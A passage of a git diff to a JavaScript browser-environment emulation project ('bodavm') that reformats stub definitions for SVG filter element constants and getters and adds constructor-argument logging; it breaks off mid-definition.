+bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_OVERLAY", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_LIGHTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_DARKEN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_SCREEN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_MULTIPLY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_NORMAL", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "SVG_FEBLEND_MODE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "in2", { + configurable: true, + enumerable: true, + get: function in2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "in2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEBlendElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEBlendElement'].prototype, "SVGFEBlendElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEColorMatrixElement.js b/env_xbb_lastest_jsdom/env/SVGFEColorMatrixElement.js index 3594dc9a..79220fb1 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEColorMatrixElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEColorMatrixElement.js @@ -1,23 +1,143 @@ -// SVGFEColorMatrixElement对象 -bodavm.memory.globalobj['SVGFEColorMatrixElement'] = function SVGFEColorMatrixElement(){if (!(this instanceof SVGFEColorMatrixElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEColorMatrixElement'], "SVGFEColorMatrixElement"); -bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEColorMatrixElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "values", {configurable:true, enumerable:true, get:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "values_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEColorMatrixElement对象 + +bodavm.memory.globalobj['SVGFEColorMatrixElement'] = function SVGFEColorMatrixElement() { + console.log_copy('SVGFEColorMatrixElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEColorMatrixElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEColorMatrixElement'], "SVGFEColorMatrixElement"); +bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEColorMatrixElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_LUMINANCETOALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_HUEROTATE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_MATRIX", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "SVG_FECOLORMATRIX_TYPE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "values_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEColorMatrixElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEColorMatrixElement'].prototype, "SVGFEColorMatrixElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEComponentTransferElement.js b/env_xbb_lastest_jsdom/env/SVGFEComponentTransferElement.js index 2aea73c5..c90fd258 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEComponentTransferElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEComponentTransferElement.js @@ -1,11 +1,67 @@ -// SVGFEComponentTransferElement对象 -bodavm.memory.globalobj['SVGFEComponentTransferElement'] = function SVGFEComponentTransferElement(){if (!(this instanceof SVGFEComponentTransferElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEComponentTransferElement'], "SVGFEComponentTransferElement"); -bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEComponentTransferElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEComponentTransferElement对象 + +bodavm.memory.globalobj['SVGFEComponentTransferElement'] = function SVGFEComponentTransferElement() { + console.log_copy('SVGFEComponentTransferElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEComponentTransferElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEComponentTransferElement'], "SVGFEComponentTransferElement"); +bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEComponentTransferElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEComponentTransferElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEComponentTransferElement'].prototype, "SVGFEComponentTransferElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFECompositeElement.js b/env_xbb_lastest_jsdom/env/SVGFECompositeElement.js index a45940ed..c68d10c6 100644 --- a/env_xbb_lastest_jsdom/env/SVGFECompositeElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFECompositeElement.js @@ -1,31 +1,199 @@ -// SVGFECompositeElement对象 -bodavm.memory.globalobj['SVGFECompositeElement'] = function SVGFECompositeElement(){if (!(this instanceof SVGFECompositeElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFECompositeElement'], "SVGFECompositeElement"); -bodavm.memory.globalobj['SVGFECompositeElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFECompositeElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in2", {configurable:true, enumerable:true, get:function in2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "operator", {configurable:true, enumerable:true, get:function operator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "operator_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k1", {configurable:true, enumerable:true, get:function k1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k2", {configurable:true, enumerable:true, get:function k2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k3", {configurable:true, enumerable:true, get:function k3 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k3_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "k4", {configurable:true, enumerable:true, get:function k4 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "k4_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFECompositeElement对象 + +bodavm.memory.globalobj['SVGFECompositeElement'] = function SVGFECompositeElement() { + console.log_copy('SVGFECompositeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFECompositeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFECompositeElement'], "SVGFECompositeElement"); +bodavm.memory.globalobj['SVGFECompositeElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFECompositeElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ARITHMETIC", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_XOR", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_ATOP", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_IN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_OVER", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "SVG_FECOMPOSITE_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in2", { + configurable: true, + enumerable: true, + get: function in2() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in2_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFECompositeElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFECompositeElement'].prototype, "SVGFECompositeElement", "in1_get", arguments); + 